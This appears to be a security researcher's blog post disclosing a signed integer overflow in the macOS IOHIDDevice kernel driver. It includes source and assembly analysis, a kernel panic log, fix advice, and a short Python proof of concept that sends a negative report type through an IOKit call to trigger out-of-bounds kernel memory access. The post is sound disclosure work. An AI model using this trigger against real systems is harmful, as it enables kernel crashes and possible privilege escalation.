Integer overflow due to compile behavior in OSX Kernel IOUSBHIDDevice

Interesting Integer overflow in enum comparison IOHIDDevice::handleReportWithTime

By flanker from KeenLab.

There exists a signed integer comparison overflow in IOHIDDevice::_getReport and then handleReportWithTime, which can lead to oob access/execute in handleReportWithTime. A normal process can leverage this vulnerability to archive potential code execution in kernel and escalate privilege.

Vulnerability analysis

When IOHIDLibUserClient::_getReport is called via externalMethod, the code execution flow will be redirected in IOHIDDevice::getReport and then called into IOHIDDevice::handleReportWithTime,

1281IOReturn IOHIDLibUserClient::getReport(IOMemoryDescriptor * mem, uint32_t * pOutsize, IOHIDReportType reportType, uint32_t reportID, uint32_t timeout, IOHIDCompletion * completion)
1282{
1283    IOReturn ret = kIOReturnBadArgument;
1284
1285    // VTN3: Is there a real maximum report size? It looks like the current limit is around
1286    // 1024 bytes, but that will (or has) changed. 65536 is above every upper limit
1287    // I have seen by a few factors.
1288    if (*pOutsize > 0x10000) {
1289        IOLog("IOHIDLibUserClient::getReport called with an irrationally large output size: %lu\n", (long unsigned) *pOutsize);
1290    }
1291    else if (fNub && !isInactive()) {
1292        ret = mem->prepare();
1293        if(ret == kIOReturnSuccess) {
1294            if (completion) {
1295                AsyncParam * pb = (AsyncParam *)completion->parameter;
1296                pb->fMax        = *pOutsize;
1297                pb->fMem        = mem;
1298                pb->reportType  = reportType;
1299
1300                mem->retain();
1301
1302                ret = fNub->getReport(mem, reportType, reportID, timeout, completion);
1303            }
1304            else {
1305                ret = fNub->getReport(mem, reportType, reportID);
1306
1307                // make sure the element values are updated.
1308                if (ret == kIOReturnSuccess)
1309                    fNub->handleReport(mem, reportType, kIOHIDReportOptionNotInterrupt);
1310
1311                *pOutsize = mem

Then handleReport and handleReportWithTime will be called.

2174IOReturn IOHIDDevice::handleReportWithTime(
2175    AbsoluteTime         timeStamp,
2176    IOMemoryDescriptor * report,
2177    IOHIDReportType      reportType,
2178    IOOptionBits         options)
2179{
2180    IOBufferMemoryDescriptor *  bufferDescriptor    = NULL;
2181    void *                      reportData          = NULL;
2182    IOByteCount                 reportLength        = 0;
2183    IOReturn                    ret                 = kIOReturnNotReady;
2184    bool                        changed             = false;
2185    bool                        shouldTickle        = false;
2186    UInt8                       reportID            = 0;
2187
2188    IOHID_DEBUG(kIOHIDDebugCode_HandleReport, reportType, options, __OSAbsoluteTime(timeStamp), getRegistryEntryID());
2189
2190    if ((reportType == kIOHIDReportTypeInput) && !_readyForInputReports)
2191        return kIOReturnOffline;
2192
2193    // Get a pointer to the data in the descriptor.
2194    if ( !report )
2195        return kIOReturnBadArgument;
2196
2197    if ( reportType >= kIOHIDReportTypeCount )
2198        return kIOReturnBadArgument;
2199
2200    reportLength = report->getLength();
2201    if ( !reportLength )
2202        return kIOReturnBadArgument;
2203
2204    if ( (bufferDescriptor = OSDynamicCast(IOBufferMemoryDescriptor, report)) ) {
2205        reportData = bufferDescriptor->getBytesNoCopy();
2206        if ( !reportData )
2207            return kIOReturnNoMemory;
2208    } else {
2209        reportData = IOMalloc(reportLength);
2210        if ( !reportData )
2211            return kIOReturnNoMemory;
2212
2213        report->readBytes( 0, reportData, reportLength );
2214    }

In Line 2197, there is an integer signed comparison overflow. The compiler decides the kIOHIDReportTypeCount, which is an enum value, is signed and the assembly instruction are as follows:

__text:0000000000006951                 mov     r13d, 0E00002C2h
__text:0000000000006957                 jz      loc_6BBE
__text:000000000000695D                 cmp     r15d, 2
__text:0000000000006961                 jg      loc_6BBE

we can see jg is used, which indicates a signed comparison.

The reportType is a int32 value determined by incoming externalMethod scalar:

in function setReport
1355    else
1356        if ( arguments->structureInputDescriptor )
1357            ret = target->setReport( arguments->structureInputDescriptor, (IOHIDReportType)arguments->scalarInput[0], (uint32_t)arguments->scalarInput[1]);
1358        else
1359            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0], (uint32_t)arguments->scalarInput[1]);
1360
1361    return ret;
1362}

So an attacker can supply an overflowed negative value, i.e. 0x80000000 in scalar input and cause oob access in handleReportWithTime:

2220
2221        // The first byte in the report, may be the report ID.
2222        // XXX - Do we need to advance the start of the report data?
2223
2224        reportID = ( _reportCount > 1 ) ? *((UInt8 *) reportData) : 0;
2225
2226        // Get the first element in the report handler chain.
2227
2228        element = GetHeadElement( GetReportHandlerSlot(reportID),
2229                                  reportType);

We can see reportType is used in GetHeadElement, and

260#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

Type is used as index to head array, so we can control the element pointer and then a virtual call follows:

2060        while ( element ) {
2061
2062            element->createReport(reportID, reportData, &reportLength, &element);
2063
177    virtual bool createReport( UInt8           reportID,
178                               void *        reportData, // report should be allocated outside this method
179                               UInt32 *        reportLength,
180                               IOHIDElementPrivate ** next );

Thus it’s possible for code execution if memory is prepared.

CrashLog

We can see a page fault is generated on oob access, indicating the negative 32bit integer has been used as index when accessing memory.

panic(cpu 1 caller 0xffffff800af85b8f): "vm_page_check_pageable_safe: trying to add page" "from compressor object (0xffffff800b6c35f0) to pageable queue"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3248.40.184/osfmk/vm/vm_resident.c:7076
Backtrace (CPU 1), Frame : Return Address
0xffffff911638b230 : 0xffffff800aedab12 mach_kernel : _panic + 0xe2
0xffffff911638b2b0 : 0xffffff800af85b8f mach_kernel : _vm_page_check_pageable_safe + 0x3f
0xffffff911638b2d0 : 0xffffff800af4a8e3 mach_kernel : _vm_fault_enter + 0x9b3
0xffffff911638b450 : 0xffffff800af4e80b mach_kernel : _vm_page_validate_cs_mapped_chunk + 0x226b
0xffffff911638b670 : 0xffffff800afcdf6d mach_kernel : _kernel_trap + 0x47d
0xffffff911638b850 : 0xffffff800afec273 mach_kernel : _return_from_trap + 0xe3
0xffffff911638b870 : 0xffffff7f8bd4c283 com.apple.iokit.IOHIDFamily : __ZN11IOHIDDevice20handleReportWithTimeEyP18IOMemoryDescriptor15IOHIDReportTypej + 0x191
0xffffff911638b9f0 : 0xffffff7f8bd4ad45 com.apple.iokit.IOHIDFamily : __ZN11IOHIDDevice12handleReportEP18IOMemoryDescriptor15IOHIDReportTypej + 0x5b
0xffffff911638ba30 : 0xffffff7f8bd486b2 com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient9getReportEP18IOMemoryDescriptorPj15IOHIDReportTypejjP15IOHIDCompletion + 0x12c
0xffffff911638ba80 : 0xffffff7f8bd4877b com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient9getReportEPvPj15IOHIDReportTypejjP15IOHIDCompletion + 0x99
0xffffff911638bad0 : 0xffffff7f8bd46c3b com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient10_getReportEPS_PvP25IOExternalMethodArguments + 0x13b
0xffffff911638bb30 : 0xffffff800b4b5958 mach_kernel : __ZN13IOCommandGate9runActionEPFiP8OSObjectPvS2_S2_S2_ES2_S2_S2_S2_ + 0x1a8
0xffffff911638bba0 : 0xffffff7f8bd47556 com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x64
0xffffff911638bbe0 : 0xffffff800b4df277 mach_kernel : _is_io_connect_method + 0x1e7
0xffffff911638bd20 : 0xffffff800af97cc0 mach_kernel : _iokit_server + 0x5bd0
0xffffff911638be30 : 0xffffff800aedf283 mach_kernel : _ipc_kobject_server + 0x103
0xffffff911638be60 : 0xffffff800aec28b8 mach_kernel : _ipc_kmsg_send + 0xb8
0xffffff911638bea0 : 0xffffff800aed2665 mach_kernel : _mach_msg_overwrite_trap + 0xc5
0xffffff911638bf10 : 0xffffff800afb8bda mach_kernel : _mach_call_munger64 + 0x19a
0xffffff911638bfb0 : 0xffffff800afeca96 mach_kernel : _hndl_mach_scall64 + 0x16
      Kernel Extensions in backtrace:
         com.apple.iokit.IOHIDFamily(2.0)[8D04EA14-CDE1-3B41-8571-153FF3F3F63B]@0xffffff7f8bd46000->0xffffff7f8bdbdfff
            dependency: com.apple.driver.AppleFDEKeyStore(28.30)[C31A19C9-8174-3E35-B2CD-3B1B237C0220]@0xffffff7f8bd3b000
BSD process name corresponding to current thread: Python

POC

KitLib Python Code:

import kitlib
h = kitlib.openMultipleSvc('IOUSBHostHIDDevice', [0,0])[1]
kitlib.callConnectMethod(h, 12, [0x80000000L]*3, '', 0, 1)

Tested on macmini/macbooks with usb keyboard connected (for this specific IOUSBHIDDevice service). Of course other services extending IOHIDDevice can also be affected. Other models can also apply with configuration parameter tunned. Changing the first parameter to like 0x8000ffff and we can observe that the fault address has changed correspondingly, showing the possibility of exploitation.

Fix advice

add check on reportType for negative, only accept positive value. Fixed in 10.11.5 by replacing jg with ja.

Full POC at https://github.com/flankerhqd/IOUSBHID-IOHID-Overflow

One thought on “Integer overflow due to compile behavior in OSX Kernel IOUSBHIDDevice

Leave a Reply

Your email address will not be published. Required fields are marked *